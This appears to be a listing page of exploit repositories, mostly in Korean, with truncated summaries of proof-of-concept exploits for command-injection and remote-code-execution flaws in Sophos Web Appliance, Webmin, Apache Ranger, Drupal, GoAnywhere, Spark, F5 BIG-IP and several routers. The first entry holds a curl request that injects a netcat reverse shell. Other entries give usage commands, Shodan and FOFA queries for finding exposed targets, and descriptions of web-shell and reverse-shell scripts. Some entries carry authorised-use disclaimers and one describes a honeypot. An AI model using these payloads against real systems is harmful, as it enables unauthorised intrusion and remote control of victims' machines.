CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 184...

CVE-2019-15107

CVE-2019-15107 Webmin 익스플로잇 CVE-2019-15107 Webmin =1.920에서 문제가 발견되었습니다. passwordchange.cgi의 old 매개변수에는 명령 삽입 취약점이 포함되어 있습니다. NVD 컴파일 $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 사용 예제 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 명령 주입 Apache Ranger의 user-syncunixusersync 모듈에 존재하는 OS 명령 주입에 대한 실행 가능한 개념 증명PoC 재현 코드입니다. 동기화되는 각 사용자의 그룹을 열거하는 동안 UnixUserGroupBuilder는 셸을 통해 id 명령을 실행하며, 명령줄에 username 을 연결합니다: //...

CVE-2025-32778

CVE-2025-32778 - Web-Check 명령 주입 익스플로잇 설명 CVE-2025-32778은 Lissy93의 Web-Check OSINT 도구에서 발견된 심각한 명령 주입 취약점입니다. 인증되지 않은 공격자가 스크린샷 API의 url 매개변수를 통해 임의의 시스템 명령을 실행할 수 있습니다. 이 Python 스크립트는 익스플로잇을 자동화하며 리버스 셸을 생성하거나 사용자 지정 셸 페이로드를 수용할 수 있습니다. 경고 소유하거나 테스트 권한이 있는 시스템에서만 테스트하세요. 무단 사용은 불법이며 윤리적이지 않습니다. ...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry 이전 명칭 MobileIron Sentry는 모바일 디바이스와 기업 백엔드 리소스이메일, SharePoint, 내부 웹 애플리케이션 간의 트래픽을 프록시하는 엔터프라이즈 보안 게이트웨이입니다. 모바일 디바이스 관리MDM 정책을 시행하고, 암호화된 모바일 세션을 종료하며, 엔터프라이즈 앱 배포를 위한 인증서 기반 인증을 발급합니다. Sentry 인스턴스는 일반적으로 포트8443 에서 인터넷에 노출되어 MICSMobile Iron Configuration Service 관리 AP...

CVE-2018-6961

CVE-2018-6961 Python3 익스플로잇 VMware NSX SD-WAN Edge by VeloCloud 3.1.0 이전 버전에는 로컬 웹 UI 구성 요소에 명령 삽입 취약점이 존재합니다. 이 구성 요소는 기본적으로 비활성화되어 있으며 신뢰할 수 없는 네트워크에서는 활성화하지 않아야 합니다. VMware의 VeloCloud는 향후 릴리스에서 이 서비스를 제품에서 제거할 예정입니다. 이 문제를 악용하면 원격 코드 실행이 발생할 수 있습니다. 링크 CVE 세부 정보...

Drupalgedon3

Drupal 익스플로잇 POC SA-CORE-2018-004 / CVE-2018-7602 저자 Alexandre Nguyen 사용법 usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal base URL 라이선...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT는 License Response Servlet에서 임의의 공격자 제어 객체를 역직렬화하여 발생하는 인증 전 명령 주입 취약점을 가지고 있습니다. 0x00 검색 shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 사용 방법 Java 버전 java -version openjdk version "1.8.0362" 도움말 java -jar CVE-2023-0669.jar -h / / | / / / | \ / \ | / / / // //...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — HP HPLIP 大量 CVE チェッカー 2026-09 HP HPLIP 3.26.6 向けの大量チェック および研究用エクスプロイト ドライバ — CVE-2026-91097 から CVE-2026-91106。 CVE| CVSS 4| CWE| リモート ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| はい UI CVE-2026-91098| 8.6| CWE-122| はい UI CVE-2026-91099| 5.1| CWE-61| ローカル CVE-2026-91100| 6.8| CWE-78...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M 명령 주입 익스플로잇 CVE-2025-69212 용 완전 자동화 익스플로잇 스크립트로, OpenSTAManager의 명령 주입 취약점입니다. 이 스크립트는 관리자 자격 증명으로 인증한 후, ZIP 아카이브에 포함된 조작된 P7M 파일을 통해 악성 PHP 웹 셸을 배포하고, 명령 실행 또는 리버스 셸을 제공합니다. 기능 자동 인증. 악성 ZIP 생성 및 업로드 invoice.p7m 주입. 특수 문자 문제 방지를 위한 Base64 명령 래핑. 리버스 셸 및 단일 명령...

CVE-2022-33891

CVE-2022-33891 - Apache Spark 명령 주입 취약점 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 작성자 원본 PoC 작성자 AkbarTrilaksana께 깊은 감사를 드립니다. 설명 Apache Spark UI는 구성 옵션 spark.acls.enable을 통해 ACL을 활성화할 수 있는 기능을 제공합니다. 인증 필터와 함께 사용하면 사용자가 애플리케이션을 보거나 수정할 수 있는 접근 권한이 있는지 확인합니다. ACL이 활성화된 경우 HttpSecurityFilter의 코드 경로를 통...

CVE-2022-21587-Oracle-EBS-

이 익스플로잇을 실행하기 위한 사전 요구 사항: python3 모듈: requests, os, sys, slipit 포함 uuencode 실행 전에, 윤리적 목적으로만 사용하십시오. 익스플로잇이 실행에 실패할 경우: 사전 요구 모듈이 이미 설치되어 있는지 확인하십시오. requests 설치 pip3 install requests slipit 설치: git clone https://github.com/usdAG/slipit cd slipit python3 setup.py sdist pip3 install --user dist/ ...

WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin 1. 취약점 설명 Webmin은 유닉스 시스템에서 널리 사용되는 강력한 웹 기반 시스템 관리 도구입니다. Webmin의 PasswordChange.cgi가 요청을 처리하는 과정에서 old 매개변수에 명령 주입 취약점이 존재하여 공격자가 악용할 수 있습니다. 사용자가 Webmin 비밀번호 재설정 기능을 활성화하면, 공격자는 이 취약점을 이용해 취약한 시스템에서 임의의...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 한국 무선 라우터 os cmd 인젝션 PoC 설치 git clone https://github.com/ZAxyr/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt 사용 단일 URL pocsuite -r pocs/CVE-2021-46422.py -u IP 배치 URL pocsuite -r pocs/CVE-2021-46422.py -f xxx.txt 면책 조항🧐 본 도구는 합법적으로 승인된 기업 보안 구축 활동만...

CVE-2021-40222

CVE-2021-40222 애플리케이션 : Rittal CMC PU III Web management 장치 : CMC PU III 7030.000 소프트웨어 리비전 : V3.11.002 하드웨어 리비전 : V3.00 공격 유형 : 원격 코드 실행 해결 방법 : 소프트웨어 리비전 V3.17.10 이상으로 업데이트 요약 : 웹 애플리케이션이 네트워크 TCP/IP 설정 페이지에서 사용자 입력을 제대로 검증하지 못합니다. 이로 인해 공격자는 장치에서 root 권한으로 명령어를 주입할 수 있으며, 데이터가 수신된 후 몇 초 후에 명령이...

CVE-2020-12124

CVE-2020-12124 CVE-2020-12124에 대한 개념 증명 구현 https://vulners.com/cve/CVE-2020-12124 다음은 CVE-2020-12124의 실현입니다. 이 취약점은 Wavlink WN530H4 라우터에서 명령어 주입Command Injection을 악용하며, /cgi-bin/liveapi.cgi 엔드포인트로 들어오는 웹 요청의 URL 파라미터에서 특정 파라미터를 추출하여 안전한지 검증하지 않고 명령줄에 직접 전달합니다. 이 회사의 전체 제품 라인에서 많은 취약점이 보고된 점을 감안할 ...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS 인증되지 않은 원격 명령 주입 취약점. 개요 이 저장소는 Hytec Inter HWL-2511-SS 장치의 중요한 취약점인 CVE-2022-36553을 악용하기 위한 개념 증명PoC 리버스 셸 스크립트를 포함합니다. 이 스크립트는 실용적인 데모로, 제 블로그 게시물 "Hytec Inter HWL-2511-SS - 취약점 보고서"에서 제공된 심층 분석을 보완합니다. 영향을 받는 버전 버전 1.05 이하의 모든 Hytec Inter HWL-2511-SS 장치...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 스캐너 BIG-IP iControl REST 취약점 CVE-2022-1388 스캐너 사용법 pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py 요청 POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: vvs...

CVE-2024-3400-pot

CVE-2024-3400-pot CVE-2024-3400 Palo Alto PAN-OS 명령 삽입 취약점을 위한 간단한 허니팟입니다. 특징 /global-protect/login.esp GlobalProtect 포털의 로그인 페이지 방문 시 시뮬레이션 HTTP 요청 POST /ssl-vpn/hipreport.esp 및 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/; 시뮬레이션 쿠키에서 파일명 추출 있는 경우 POST 요청의 내용을 파일로...

CVE-2018-14714-POC

CVE-2018-14714-POC 2020년 4월 25일, Altin Thartori, github.com/tin-z 취약점 세부 정보 ASUS RT-AC3200 버전 3.0.0.4.382.50010의 appGet.cgi에서 시스템 명령 주입을 통해 공격자가 "loadscript" URL 매개변수를 통해 시스템 명령을 실행할 수 있습니다. CVE-2018-14714 참조 :...